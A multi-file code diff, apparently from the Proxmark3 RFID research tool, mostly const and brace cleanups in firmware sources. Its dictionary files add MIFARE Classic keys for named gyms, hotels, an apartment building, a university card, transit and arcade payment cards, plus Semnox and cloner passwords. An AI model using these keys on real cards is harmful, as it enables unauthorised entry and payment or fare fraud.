int iso14443b_apdu(uint8_t const *msg, size_t msg_len, bool send_chaining, void *rxdata, uint16_t rxmaxlen, uint8_t *res, uint16_t *responselen); int iso14443b_apdu(uint8_t const *msg, size_t msg_len, bool send_chaining, void *rxdata, uint16_t rxmaxlen, uint8_t *response_byte, uint16_t *responselen);
int iso14443b_select_card(iso14b_card_select_t *card); int iso14443b_select_card(iso14b_card_select_t *card);
@ -49,12 +49,10 @@ void SniffIso14443b(void);
void SendRawCommand14443B(iso14b_raw_cmd_t *p); void SendRawCommand14443B(iso14b_raw_cmd_t *p);
// States for 14B SIM command // States for 14B SIM command
#define SIM_NOFIELD 0 #define SIM_POWER_OFF 0
#define SIM_IDLE 1 #define SIM_IDLE 1
#define SIM_HALTED 2 #define SIM_READY 2
#define SIM_SELECTING 3 #define SIM_HALT 3
#define SIM_HALTING 4 #define SIM_ACTIVE 4
#define SIM_ACKNOWLEDGE 5
#define SIM_WORK 6
#endif /* __ISO14443B_H */ #endif /* __ISO14443B_H */

View file

@ -1009,7 +1009,7 @@ int GetIso15693AnswerFromTag(uint8_t *response, uint16_t max_len, uint16_t timeo
} }
uint32_t dma_start_time = 0; uint32_t dma_start_time = 0;
uint16_t *upTo = dma->buf; const uint16_t *upTo = dma->buf;
for (;;) { for (;;) {
@ -1502,7 +1502,7 @@ int GetIso15693CommandFromReader(uint8_t *received, size_t max_len, uint32_t *eo
if (g_dbglevel > DBG_ERROR) Dbprintf("FpgaSetupSscDma failed. Exiting"); if (g_dbglevel > DBG_ERROR) Dbprintf("FpgaSetupSscDma failed. Exiting");
return -4; return -4;
} }
uint8_t *upTo = dma->buf; const uint8_t *upTo = dma->buf;
uint32_t dma_start_time = GetCountSspClk() & 0xfffffff8; uint32_t dma_start_time = GetCountSspClk() & 0xfffffff8;
@ -1603,7 +1603,7 @@ void AcquireRawAdcSamplesIso15693(void) {
SpinDelay(250); SpinDelay(250);
// Now send the command // Now send the command
tosend_t *ts = get_tosend(); const tosend_t *ts = get_tosend();
uint32_t start_time = 0; uint32_t start_time = 0;
TransmitTo15693Tag(ts->buf, ts->max, &start_time, false); TransmitTo15693Tag(ts->buf, ts->max, &start_time, false);
@ -1681,7 +1681,7 @@ void SniffIso15693(uint8_t jam_search_len, uint8_t *jam_search_string, bool icla
// Count of samples received so far, so that we can include timing // Count of samples received so far, so that we can include timing
int samples = 0; int samples = 0;
uint16_t *upTo = dma->buf; const uint16_t *upTo = dma->buf;
for (;;) { for (;;) {
@ -1902,7 +1902,7 @@ static void BuildIdentifyRequest(uint8_t *cmd) {
// If you do not need the answer use NULL for *recv[] // If you do not need the answer use NULL for *recv[]
// return: length of received data // return: length of received data
// logging enabled // logging enabled
int SendDataTag(uint8_t *send, int sendlen, bool init, bool speed_fast, uint8_t *recv, int SendDataTag(const uint8_t *send, int sendlen, bool init, bool speed_fast, uint8_t *recv,
uint16_t max_recv_len, uint32_t start_time, uint16_t timeout, uint32_t *eof_time, uint16_t *resp_len) { uint16_t max_recv_len, uint32_t start_time, uint16_t timeout, uint32_t *eof_time, uint16_t *resp_len) {
if (init) { if (init) {
@ -1918,7 +1918,7 @@ int SendDataTag(uint8_t *send, int sendlen, bool init, bool speed_fast, uint8_t
CodeIso15693AsReader256(send, sendlen); CodeIso15693AsReader256(send, sendlen);
} }
tosend_t *ts = get_tosend(); const tosend_t *ts = get_tosend();
TransmitTo15693Tag(ts->buf, ts->max, &start_time, false); TransmitTo15693Tag(ts->buf, ts->max, &start_time, false);
if (tearoff_hook() == PM3_ETEAROFF) { // tearoff occurred if (tearoff_hook() == PM3_ETEAROFF) { // tearoff occurred
@ -1941,7 +1941,7 @@ int SendDataTag(uint8_t *send, int sendlen, bool init, bool speed_fast, uint8_t
int SendDataTagEOF(uint8_t *recv, uint16_t max_recv_len, uint32_t start_time, uint16_t timeout, uint32_t *eof_time, bool fsk, bool recv_speed, uint16_t *resp_len) { int SendDataTagEOF(uint8_t *recv, uint16_t max_recv_len, uint32_t start_time, uint16_t timeout, uint32_t *eof_time, bool fsk, bool recv_speed, uint16_t *resp_len) {
CodeIso15693AsReaderEOF(); CodeIso15693AsReaderEOF();
tosend_t *ts = get_tosend(); const tosend_t *ts = get_tosend();
TransmitTo15693Tag(ts->buf, ts->max, &start_time, false); TransmitTo15693Tag(ts->buf, ts->max, &start_time, false);
uint32_t end_time = start_time + 32 * (8 * ts->max - 4); // subtract the 4 padding bits after EOF uint32_t end_time = start_time + 32 * (8 * ts->max - 4); // subtract the 4 padding bits after EOF
LogTrace_ISO15693(NULL, 0, (start_time * 4), (end_time * 4), NULL, true); LogTrace_ISO15693(NULL, 0, (start_time * 4), (end_time * 4), NULL, true);
@ -1959,9 +1959,9 @@ int SendDataTagEOF(uint8_t *recv, uint16_t max_recv_len, uint32_t start_time, ui
// Decodes a message from a tag and displays its metadata and content // Decodes a message from a tag and displays its metadata and content
#define DBD15STATLEN 48 #define DBD15STATLEN 48
static void DbdecodeIso15693Answer(int len, uint8_t *d) { static void DbdecodeIso15693Answer(int n, const uint8_t *d) {
if (len > 3) { if (n > 3) {
char status[DBD15STATLEN + 1] = {0}; char status[DBD15STATLEN + 1] = {0};
@ -2007,7 +2007,7 @@ static void DbdecodeIso15693Answer(int len, uint8_t *d) {
strncat(status, "No error ", DBD15STATLEN - strlen(status)); strncat(status, "No error ", DBD15STATLEN - strlen(status));
} }
if (CheckCrc15(d, len)) if (CheckCrc15(d, n))
strncat(status, "[+] crc ( " _GREEN_("ok") " )", DBD15STATLEN - strlen(status)); strncat(status, "[+] crc ( " _GREEN_("ok") " )", DBD15STATLEN - strlen(status));
else else
strncat(status, "[!] crc ( " _RED_("fail") " )", DBD15STATLEN - strlen(status)); strncat(status, "[!] crc ( " _RED_("fail") " )", DBD15STATLEN - strlen(status));
@ -2127,7 +2127,7 @@ void EmlClearIso15693(void) {
// Simulate an ISO15693 TAG, perform anti-collision and then print any reader commands // Simulate an ISO15693 TAG, perform anti-collision and then print any reader commands
// all demodulation performed in arm rather than host. - greg // all demodulation performed in arm rather than host. - greg
void SimTagIso15693(uint8_t *uid, uint8_t block_size) { void SimTagIso15693(const uint8_t *uid, uint8_t block_size) {
// free eventually allocated BigBuf memory // free eventually allocated BigBuf memory
BigBuf_free_keep_EM(); BigBuf_free_keep_EM();
@ -2581,7 +2581,7 @@ void SimTagIso15693(uint8_t *uid, uint8_t block_size) {
AddCrc15(recv, recvLen); AddCrc15(recv, recvLen);
recvLen += 2; recvLen += 2;
CodeIso15693AsTag(recv, recvLen); CodeIso15693AsTag(recv, recvLen);
tosend_t *ts = get_tosend(); const tosend_t *ts = get_tosend();
uint32_t response_time = reader_eof_time + DELAY_ISO15693_VCD_TO_VICC_SIM; uint32_t response_time = reader_eof_time + DELAY_ISO15693_VCD_TO_VICC_SIM;
if (tag->expectFsk) { // Not suppoted yet if (tag->expectFsk) { // Not suppoted yet
@ -3028,7 +3028,7 @@ static uint32_t disable_privacy_15693_Slix(uint32_t start_time, uint32_t *eof_ti
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static uint32_t set_pass_15693_Slix(uint32_t start_time, uint32_t *eof_time, uint8_t pass_id, const uint8_t *password, uint8_t *uid) { static uint32_t set_pass_15693_Slix(uint32_t start_time, uint32_t *eof_time, uint8_t pass_id, const uint8_t *password, const uint8_t *uid) {
uint8_t rnd[2]; uint8_t rnd[2];
@ -3141,7 +3141,7 @@ static uint32_t enable_eas_15693_Slix(uint32_t start_time, uint32_t *eof_time, c
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static uint32_t write_password_15693_Slix(uint32_t start_time, uint32_t *eof_time, uint8_t pwd_id, const uint8_t *password, uint8_t *uid) { static uint32_t write_password_15693_Slix(uint32_t start_time, uint32_t *eof_time, uint8_t pwd_id, const uint8_t *password, const uint8_t *uid) {
uint8_t new_pwd_cmd[] = { (ISO15_REQ_DATARATE_HIGH | ISO15_REQ_ADDRESS), ISO15693_WRITE_PASSWORD, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, pwd_id, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t new_pwd_cmd[] = { (ISO15_REQ_DATARATE_HIGH | ISO15_REQ_ADDRESS), ISO15693_WRITE_PASSWORD, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, pwd_id, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

View file

@ -47,13 +47,13 @@ int GetIso15693AnswerFromTag(uint8_t *response, uint16_t max_len, uint16_t timeo
void AcquireRawAdcSamplesIso15693(void); void AcquireRawAdcSamplesIso15693(void);
void ReaderIso15693(iso15_card_select_t *p_card); // ISO15693 reader void ReaderIso15693(iso15_card_select_t *p_card); // ISO15693 reader
void EmlClearIso15693(void); void EmlClearIso15693(void);
void SimTagIso15693(uint8_t *uid, uint8_t block_size); // simulate an ISO15693 tag void SimTagIso15693(const uint8_t *uid, uint8_t block_size); // simulate an ISO15693 tag
void BruteforceIso15693Afi(uint32_t flags); // find an AFI of a tag void BruteforceIso15693Afi(uint32_t flags); // find an AFI of a tag
void SendRawCommand15693(iso15_raw_cmd_t *packet); // send arbitrary commands from CLI void SendRawCommand15693(iso15_raw_cmd_t *packet); // send arbitrary commands from CLI
void SniffIso15693(uint8_t jam_search_len, uint8_t *jam_search_string, bool iclass); void SniffIso15693(uint8_t jam_search_len, uint8_t *jam_search_string, bool iclass);
int SendDataTag(uint8_t *send, int sendlen, bool init, bool speed_fast, uint8_t *recv, int SendDataTag(const uint8_t *send, int sendlen, bool init, bool speed_fast, uint8_t *recv,
uint16_t max_recv_len, uint32_t start_time, uint16_t timeout, uint32_t *eof_time, uint16_t *resp_len); uint16_t max_recv_len, uint32_t start_time, uint16_t timeout, uint32_t *eof_time, uint16_t *resp_len);
int SendDataTagEOF(uint8_t *recv, uint16_t max_recv_len, uint32_t start_time, uint16_t timeout, uint32_t *eof_time, bool fsk, bool recv_speed, uint16_t *resp_len); int SendDataTagEOF(uint8_t *recv, uint16_t max_recv_len, uint32_t start_time, uint16_t timeout, uint32_t *eof_time, bool fsk, bool recv_speed, uint16_t *resp_len);
@ -68,5 +68,5 @@ void DisableEAS_AFISlixIso15693(const uint8_t *password, bool usepwd);
void EnableEAS_AFISlixIso15693(const uint8_t *password, bool usepwd); void EnableEAS_AFISlixIso15693(const uint8_t *password, bool usepwd);
void PassProtextEASSlixIso15693(const uint8_t *password); void PassProtextEASSlixIso15693(const uint8_t *password);
void PassProtectAFISlixIso15693(const uint8_t *password); void PassProtectAFISlixIso15693(const uint8_t *password);
void WriteAFIIso15693(const uint8_t *password, bool usepwd, uint8_t *uid, bool use_uid, uint8_t afi); void WriteAFIIso15693(const uint8_t *password, bool use_pwd, uint8_t *uid, bool use_uid, uint8_t afi);
#endif #endif

View file

@ -134,10 +134,11 @@ void initSampleBuffer(uint32_t *sample_size) {
} }
void initSampleBufferEx(uint32_t *sample_size, bool use_malloc) { void initSampleBufferEx(uint32_t *sample_size, bool use_malloc) {
if (sample_size == NULL) { if (sample_size == NULL) {
Dbprintf("initSampleBufferEx, param NULL");
return; return;
} }
BigBuf_free_keep_EM(); BigBuf_free_keep_EM();
// We can't erase the buffer now, it would drastically delay the acquisition // We can't erase the buffer now, it would drastically delay the acquisition
@ -181,14 +182,26 @@ void logSampleSimple(uint8_t sample) {
void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg) { void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg) {
if (!data.buffer) return; if (!data.buffer) {
return;
}
// keep track of total gather samples regardless how many was discarded. // keep track of total gather samples regardless how many was discarded.
if (samples.counter-- == 0) return; if (samples.counter-- == 0) {
return;
}
if (bits_per_sample == 0) bits_per_sample = 1; if (bits_per_sample == 0) {
if (bits_per_sample > 8) bits_per_sample = 8; bits_per_sample = 1;
if (decimation == 0) decimation = 1; }
if (bits_per_sample > 8) {
bits_per_sample = 8;
}
if (decimation == 0) {
decimation = 1;
}
if (avg) { if (avg) {
samples.sum += sample; samples.sum += sample;
@ -198,7 +211,9 @@ void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool
if (decimation > 1) { if (decimation > 1) {
samples.dec_counter++; samples.dec_counter++;
if (samples.dec_counter < decimation) return; if (samples.dec_counter < decimation) {
return;
}
samples.dec_counter = 0; samples.dec_counter = 0;
} }
@ -518,7 +533,7 @@ int ReadLF_realtime(bool reader_field) {
// Request USB transmission and change FIFO bank // Request USB transmission and change FIFO bank
if (async_usb_write_requestWrite() == false) { if (async_usb_write_requestWrite() == false) {
return_value = PM3_EIO; return_value = PM3_EIO;
break; goto out;
} }
// Reset sample // Reset sample
@ -535,9 +550,12 @@ int ReadLF_realtime(bool reader_field) {
} }
} }
} }
LED_D_OFF();
return_value = async_usb_write_stop(); return_value = async_usb_write_stop();
out:
LED_D_OFF();
// DoAcquisition() end // DoAcquisition() end
StopTicks(); StopTicks();
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);

View file

@ -153,7 +153,7 @@ Definition 14. Define the rotate key function rk : (F 82 ) 8 × N → (F 82 ) 8
rk(x [0] . . . x [7] , 0) = x [0] . . . x [7] rk(x [0] . . . x [7] , 0) = x [0] . . . x [7]
rk(x [0] . . . x [7] , n + 1) = rk(rl(x [0] ) . . . rl(x [7] ), n) rk(x [0] . . . x [7] , n + 1) = rk(rl(x [0] ) . . . rl(x [7] ), n)
**/ **/
static void rk(uint8_t *key, uint8_t n, uint8_t *outp_key) { static void rk(const uint8_t *key, uint8_t n, uint8_t *outp_key) {
memcpy(outp_key, key, 8); memcpy(outp_key, key, 8);
uint8_t j; uint8_t j;
while (n-- > 0) { while (n-- > 0) {

View file

@ -113,11 +113,14 @@ kvsprintf(char const *fmt, void *arg, int radix, va_list ap) {
for (;;) { for (;;) {
padc = ' '; padc = ' ';
width = 0; width = 0;
while ((ch = (u_char) * fmt++) != '%' || stop) { while ((ch = (u_char) * fmt++) != '%' || stop) {
PCHAR(ch); PCHAR(ch);
if (ch == '\0') if (ch == '\0') {
return (retval); return (retval);
} }
}
percent = fmt - 1; percent = fmt - 1;
qflag = 0; qflag = 0;
lflag = 0; lflag = 0;
@ -178,36 +181,43 @@ reswitch:
for (n = 0;; ++fmt) { for (n = 0;; ++fmt) {
n = n * 10 + ch - '0'; n = n * 10 + ch - '0';
ch = *fmt; ch = *fmt;
if (ch < '0' || ch > '9') if (ch < '0' || ch > '9') {
break; break;
} }
if (dot) }
if (dot) {
dwidth = n; dwidth = n;
else } else {
width = n; width = n;
}
goto reswitch; goto reswitch;
case 'b': case 'b':
num = (u_int)va_arg(ap, int); num = (u_int)va_arg(ap, int);
p = va_arg(ap, char *); p = va_arg(ap, char *);
for (q = ksprintn(nbuf, num, *p++, NULL, 0); *q;) for (q = ksprintn(nbuf, num, *p++, NULL, 0); *q;) {
PCHAR(*q--); PCHAR(*q--);
}
if (num == 0) if (num == 0) {
break; break;
}
for (tmp = 0; *p;) { for (tmp = 0; *p;) {
n = *p++; n = *p++;
if (num & (1 << (n - 1))) { if (num & (1 << (n - 1))) {
PCHAR(tmp ? ',' : '<'); PCHAR(tmp ? ',' : '<');
for (; (n = *p) > ' '; ++p) for (; (n = *p) > ' '; ++p) {
PCHAR(n); PCHAR(n);
tmp = 1;
} else
for (; *p > ' '; ++p)
continue;
} }
if (tmp) tmp = 1;
} else {
for (; *p > ' '; ++p) {};
}
}
if (tmp) {
PCHAR('>'); PCHAR('>');
}
break; break;
case 'c': case 'c':
PCHAR(va_arg(ap, int)); PCHAR(va_arg(ap, int));
@ -215,16 +225,20 @@ reswitch:
case 'D': case 'D':
up = va_arg(ap, u_char *); up = va_arg(ap, u_char *);
p = va_arg(ap, char *); p = va_arg(ap, char *);
if (!width) if (!width) {
width = 16; width = 16;
}
while (width--) { while (width--) {
PCHAR(hex2ascii(*up >> 4)); PCHAR(hex2ascii(*up >> 4));
PCHAR(hex2ascii(*up & 0x0f)); PCHAR(hex2ascii(*up & 0x0f));
up++; up++;
if (width) if (width) {
for (q = p; *q; q++) for (q = p; *q; q++) {
PCHAR(*q); PCHAR(*q);
} }
}
}
break; break;
case 'd': case 'd':
case 'i': case 'i':
@ -235,8 +249,9 @@ reswitch:
if (hflag) { if (hflag) {
hflag = 0; hflag = 0;
cflag = 1; cflag = 1;
} else } else {
hflag = 1; hflag = 1;
}
goto reswitch; goto reswitch;
case 'j': case 'j':
jflag = 1; jflag = 1;
@ -245,8 +260,9 @@ reswitch:
if (lflag) { if (lflag) {
lflag = 0; lflag = 0;
qflag = 1; qflag = 1;
} else } else {
lflag = 1; lflag = 1;
}
goto reswitch; goto reswitch;
case 'n': case 'n':
if (jflag) if (jflag)
@ -278,29 +294,38 @@ reswitch:
goto reswitch; goto reswitch;
case 'r': case 'r':
base = radix; base = radix;
if (sign) if (sign) {
goto handle_sign; goto handle_sign;
}
goto handle_nosign; goto handle_nosign;
case 's': case 's':
p = va_arg(ap, char *); p = va_arg(ap, char *);
if (p == NULL) if (p == NULL) {
p = "(null)"; p = "(null)";
if (!dot) }
if (!dot) {
n = strlen(p); n = strlen(p);
else } else {
for (n = 0; n < dwidth && p[n]; n++) for (n = 0; n < dwidth && p[n]; n++) {};
continue; }
width -= n; width -= n;
if (!ladjust && width > 0) if (!ladjust && width > 0) {
while (width--) while (width--) {
PCHAR(padc); PCHAR(padc);
while (n--) }
}
while (n--) {
PCHAR(*p++); PCHAR(*p++);
if (ladjust && width > 0) }
while (width--)
if (ladjust && width > 0) {
while (width--) {
PCHAR(padc); PCHAR(padc);
}
}
break; break;
case 't': case 't':
tflag = 1; tflag = 1;
@ -361,22 +386,31 @@ number:
neg = 1; neg = 1;
num = -(intmax_t)num; num = -(intmax_t)num;
} }
p = ksprintn(nbuf, num, base, &tmp, upper); p = ksprintn(nbuf, num, base, &tmp, upper);
if (sharpflag && num != 0) { if (sharpflag && num != 0) {
if (base == 8) if (base == 8) {
tmp++; tmp++;
else if (base == 16) } else if (base == 16) {
tmp += 2; tmp += 2;
} }
if (neg) }
tmp++;
if (!ladjust && padc != '0' && width if (neg) {
&& (width -= tmp) > 0) tmp++;
while (width--) }
if (!ladjust && padc != '0' && width && (width -= tmp) > 0) {
while (width--) {
PCHAR(padc); PCHAR(padc);
if (neg) }
}
if (neg) {
PCHAR('-'); PCHAR('-');
}
if (sharpflag && num != 0) { if (sharpflag && num != 0) {
if (base == 8) { if (base == 8) {
PCHAR('0'); PCHAR('0');
@ -385,21 +419,28 @@ number:
PCHAR('x'); PCHAR('x');
} }
} }
if (!ladjust && width && (width -= tmp) > 0)
while (width--)
PCHAR(padc);
while (*p) if (!ladjust && width && (width -= tmp) > 0) {
while (width--) {
PCHAR(padc);
}
}
while (*p) {
PCHAR(*p--); PCHAR(*p--);
}
if (ladjust && width && (width -= tmp) > 0) if (ladjust && width && (width -= tmp) > 0) {
while (width--) while (width--) {
PCHAR(padc); PCHAR(padc);
}
}
break; break;
default: default:
while (percent < fmt) while (percent < fmt) {
PCHAR(*percent++); PCHAR(*percent++);
}
/* /*
* Since we ignore an formatting argument it is no * Since we ignore an formatting argument it is no
* longer safe to obey the remaining formatting * longer safe to obey the remaining formatting

View file

@ -639,24 +639,32 @@ void rdv40_spiffs_safe_print_tree(void) {
struct spiffs_dirent e; struct spiffs_dirent e;
struct spiffs_dirent *pe = &e; struct spiffs_dirent *pe = &e;
char *resolvedlink = (char *)BigBuf_calloc(11 + SPIFFS_OBJ_NAME_LEN);
char *linkdest = (char *)BigBuf_calloc(SPIFFS_OBJ_NAME_LEN);
bool printed = false;
SPIFFS_opendir(&fs, "/", &d); SPIFFS_opendir(&fs, "/", &d);
while ((pe = SPIFFS_readdir(&d, pe))) { while ((pe = SPIFFS_readdir(&d, pe))) {
char resolvedlink[11 + SPIFFS_OBJ_NAME_LEN]; memset(resolvedlink, 0, 11 + SPIFFS_OBJ_NAME_LEN);
if (rdv40_spiffs_is_symlink((const char *)pe->name)) { if (rdv40_spiffs_is_symlink((const char *)pe->name)) {
char linkdest[SPIFFS_OBJ_NAME_LEN];
read_from_spiffs((char *)pe->name, (uint8_t *)linkdest, SPIFFS_OBJ_NAME_LEN); read_from_spiffs((char *)pe->name, (uint8_t *)linkdest, SPIFFS_OBJ_NAME_LEN);
sprintf(resolvedlink, "(.lnk) --> %s", linkdest); sprintf(resolvedlink, "(.lnk) --> %s", linkdest);
// Kind of stripping the .lnk extension // Kind of stripping the .lnk extension
strtok((char *)pe->name, "."); strtok((char *)pe->name, ".");
} else {
memset(resolvedlink, 0, sizeof(resolvedlink));
} }
Dbprintf("[%04x]\t " _YELLOW_("%i") " B |-- %s%s", pe->obj_id, pe->size, pe->name, resolvedlink); Dbprintf("[%04x] " _YELLOW_("%5i") " B |-- %s%s", pe->obj_id, pe->size, pe->name, resolvedlink);
printed = true;
}
if (printed == false) {
DbpString("<empty>");
} }
SPIFFS_closedir(&d); SPIFFS_closedir(&d);
rdv40_spiffs_lazy_mount_rollback(changed); rdv40_spiffs_lazy_mount_rollback(changed);
BigBuf_free();
} }
void rdv40_spiffs_safe_wipe(void) { void rdv40_spiffs_safe_wipe(void) {

View file

@ -85,7 +85,7 @@ static size_t us_rxfifo_high = 0;
static void usart_fill_rxfifo(void) { static void usart_fill_rxfifo(void) {
uint16_t rxfifo_free = 0; uint16_t rxfifo_free;
if (pUS1->US_RNCR == 0) { // One buffer got filled, backup buffer being used if (pUS1->US_RNCR == 0) { // One buffer got filled, backup buffer being used

View file

@ -86,7 +86,7 @@ int hex2binarray(char *target, char *source) {
return hex2binarray_n(target, source, strlen(source)); return hex2binarray_n(target, source, strlen(source));
} }
int hex2binarray_n(char *target, char *source, int sourcelen) { int hex2binarray_n(char *target, const char *source, int sourcelen) {
int count = 0; int count = 0;
// process 4 bits (1 hex digit) at a time // process 4 bits (1 hex digit) at a time

View file

@ -82,10 +82,10 @@
#endif #endif
size_t nbytes(size_t nbits); size_t nbytes(size_t nbits);
uint8_t hex2int(char hexchar); uint8_t hex2int(char x);
int hex2binarray(char *target, char *source); int hex2binarray(char *target, char *source);
int hex2binarray_n(char *target, char *source, int sourcelen); int hex2binarray_n(char *target, const char *source, int sourcelen);
int binarray2hex(const uint8_t *bs, int bs_len, uint8_t *hex); int binarray2hex(const uint8_t *bs, int bs_len, uint8_t *hex);
void LED(int led, int ms); void LED(int led, int ms);

View file

@ -296,9 +296,9 @@ static void UsbPacketReceived(uint8_t *packet) {
} }
// delay_loop(1) = 3.07us // delay_loop(1) = 3.07us
static volatile uint32_t c; static volatile uint32_t ccc;
static void __attribute__((optimize("O0"))) delay_loop(uint32_t delay) { static void __attribute__((optimize("O0"))) delay_loop(uint32_t delay) {
for (c = delay * 2; c; c--) {}; for (ccc = delay * 2; ccc; ccc--) {};
} }
static void flash_mode(void) { static void flash_mode(void) {

View file

@ -54,7 +54,7 @@ typedef int (*get_func)(void *data);
typedef struct { typedef struct {
get_func get; get_func get;
void *data; void *data;
char buffer[5]; char buffer[7];
size_t buffer_pos; size_t buffer_pos;
int state; int state;
int line; int line;
@ -179,11 +179,16 @@ static int stream_get(stream_t *stream, json_error_t *error) {
size_t i, count; size_t i, count;
count = utf8_check_first(c); count = utf8_check_first(c);
if (!count) if (count == 0) {
goto out; goto out;
}
// whatif count == 1 ?!?
assert(count >= 2); assert(count >= 2);
assert(count <= 4);
// if count == 4 , i will become 5 and overflow.
for (i = 1; i < count; i++) for (i = 1; i < count; i++)
stream->buffer[i] = stream->get(stream->data); stream->buffer[i] = stream->get(stream->data);

View file

@ -307,7 +307,7 @@ E3429281EFC1
# EPI Envisionte # EPI Envisionte
AAFB06045877 AAFB06045877
# #
# gym # Gyms / Fitness Clubs / Health Clubs / Wellness Centres
# #
# Fysiken A # Fysiken A
3E65E4FB65B3 3E65E4FB65B3
@ -318,8 +318,8 @@ AAFB06045877
# #
# https://mattionline.de/fitnessstudio-armband-reverse-engineering/ # https://mattionline.de/fitnessstudio-armband-reverse-engineering/
# https://mattionline.de/milazycracker/ # https://mattionline.de/milazycracker/
# gym wistband A, same as Fysiken A # Gym Wristband A - Same as Fysiken A
# gym wistband B # Gym Wristband B
81CC25EBBB6A 81CC25EBBB6A
195DC63DB3A3 195DC63DB3A3
# #
@ -330,10 +330,14 @@ A05DBD98E0FC
AA4DDA458EBB AA4DDA458EBB
EAB8066C7479 EAB8066C7479
# #
# Nordic Wellness A, same as Fysiken A # Nordic Wellness A - Same as Fysiken A
# Nordic Wellness B # Nordic Wellness B
E5519E1CC92B E5519E1CC92B
# #
# Jett's 24 Hour Fitness S0 KA/B
# 049979614077
# 829338771705
#
# Hotel KeyCard # Hotel KeyCard
D3B595E9DD63 D3B595E9DD63
AFBECD121004 AFBECD121004
@ -1110,6 +1114,14 @@ EA0FD73CB149
FC0001877BF7 FC0001877BF7
FD8705E721B0 FD8705E721B0
00ADA2CD516D 00ADA2CD516D
518108E061E2
558AAD64EB5B
001122334455
6CA761AB6CA7
B1C4A8F7F6E3
FF75AFDA5A3C
FCDDF7767C10
A6B3F6C8F1D4
# #
# #
237A4D0D9119 237A4D0D9119
@ -2193,6 +2205,13 @@ C8382A233993
7B304F2A12A6 7B304F2A12A6
FC9418BF788B FC9418BF788B
# #
# Guest Cashless Prepaid Arcade Payment Cards
168168168168
198407157610
4E4F584D2101
4E4F584D2105
686B35333376
861861861861
# Data from "the more the marriott" mifare project (colonelborkmundus) # Data from "the more the marriott" mifare project (colonelborkmundus)
# aka The Horde # aka The Horde
# #
@ -2345,9 +2364,8 @@ EA0CA627FD06
# Hotel key # Hotel key
CE0F4F15E909 CE0F4F15E909
D60DE9436219 D60DE9436219
#
# ATM Area de Girona, spanish transport card # ATM Area de Girona, spanish transport card
A01000000000 A01000000000
A02000000000 A02000000000
A03000000000 A03000000000
@ -2363,7 +2381,6 @@ A12000000000
A13000000000 A13000000000
A14000000000 A14000000000
A15000000000 A15000000000
B01000000000 B01000000000
B02000000000 B02000000000
B03000000000 B03000000000
@ -2379,7 +2396,7 @@ B12000000000
B13000000000 B13000000000
B14000000000 B14000000000
B15000000000 B15000000000
#
# Pittsburgh, PA, USA - Pittsburgh Regional Transit ConnectCard # Pittsburgh, PA, USA - Pittsburgh Regional Transit ConnectCard
A7AE4A5A33DC A7AE4A5A33DC
6B857B568C10 6B857B568C10
@ -2413,7 +2430,98 @@ CE8BFF3728EE
09938D05DA78 09938D05DA78
EACDA4DBE420 EACDA4DBE420
EC2B9FD483CA EC2B9FD483CA
#
# Hotel Intelier Orange - Benicasim, Spain # Hotel Intelier Orange - Benicasim, Spain
# block 1 - key A # block 1 - key A
04256CFE0425 04256CFE0425
#
# InsideWash Membership Card - Portugal
C18063858BB9
#
# An apartment building in Sydney Olympic Park
13254608D0AB
24A2971BC0B2
14264709D1AC
25A3981CC1B3
1527480AD2AD
26A4991DC2B4
1628490BD3AE
27A59A1EC3B5
17294A0CD4AF
28A69B1FC4B6
182A4B0DD5B0
29A79C20C5B7
192B4C0ED6B1
2AA89D21C6B8
1A2C4D0FD7B2
2BA99E22C7B9
1B2D4E10D8B3
2CAA9F23C8BA
1C2E4F11D9B4
2DABA024C9BB
1D2F5012DAB5
2EACA125CABC
1E305113DBB6
2FADA226CBBD
1F315214DCB7
30AEA327CCBE
20325315DDB8
31AFA428CDBF
21335416DEB9
32B0A529CEC0
22345517DFBA
33B1A62ACFC1
#
# Universidade de São Paulo (USP) student card
17B50E38F1B0
24E311F594CE
3794FBFB1A54
43B229069F6A
4531952F765F
4943F2F35E0A
4985E681EF88
4F56C88E0337
710070E92C79
8A036C5C35D4
A027BD830A06
D33673C19243
D89A506542F2
E5813CD228F1
FAB943906E9C
#
# R.A.T.T transport card key A/B
AA034F342A55
456776908C48
# BusFacil - Brazilian public transport card for some cities
7b296f353c6b
3fa7217ec575
fae9b14365a9
c567dd4a6004
c567dd4a6005
c567dd4a6006
c567dd4a6007
c567dd4a6008
c567dd4a6009
c567dd4a600a
c567dd4a600d
c567dd4a600e
c567dd4a600f
5ef014ec5d7f
5086052022ac
bd6af9754c18
5d67d4732a7d
17fe45604a04
17fe45604a05
17fe45604a06
17fe45604a07
17fe45604a08
17fe45604a09
17fe45604a0a
17fe45604a0d
17fe45604a0e
17fe45604a0f
# keys for Laugardalslaug in Iceland
28220F14BEF0
# key for Orkan keyfobs
300724070486

View file

@ -3,4 +3,8 @@
# -- iceman fork version -- # -- iceman fork version --
# -- contribute to this list, sharing is caring -- # -- contribute to this list, sharing is caring --
# #
425245414B4D454946594F5543414E21 # Sample Key (BREAKMEIFYOUCAN!) 12E4143455F495649454D4B414542524 # ( 4U d T T%$) Hexadecimal-Reversed Sample Key
214E4143554F594649454D4B41455242 # (!NACUOYFIEMKAERB) Byte-Reversed Sample Key
425245414B4D454946594F5543414E21 # (BREAKMEIFYOUCAN!) Sample Key
49454D4B41455242214E4143554F5900 # (IEMKAERB!NACUOY ) Semnox Key
49454D4B41455242214E4143554F5946 # (IEMKAERB!NACUOYF) Modified Semnox Key

View file

@ -5,6 +5,8 @@
51243648 51243648
000D8787 000D8787
19920427 19920427
# White Chinese cloner, circa 2019, firmware v5.04.16.0727 (eBay)
002BCFCF
# ZX-copy3 T55xx / EM4305 # ZX-copy3 T55xx / EM4305
# ref. http://www.proxmark.org/forum/viewtopic.php?pid=40662#p40662 # ref. http://www.proxmark.org/forum/viewtopic.php?pid=40662#p40662
# default PROX # default PROX

View file

@ -46,6 +46,7 @@ endif()
find_package(PkgConfig) find_package(PkgConfig)
if (NOT SKIPQT EQUAL 1) if (NOT SKIPQT EQUAL 1)
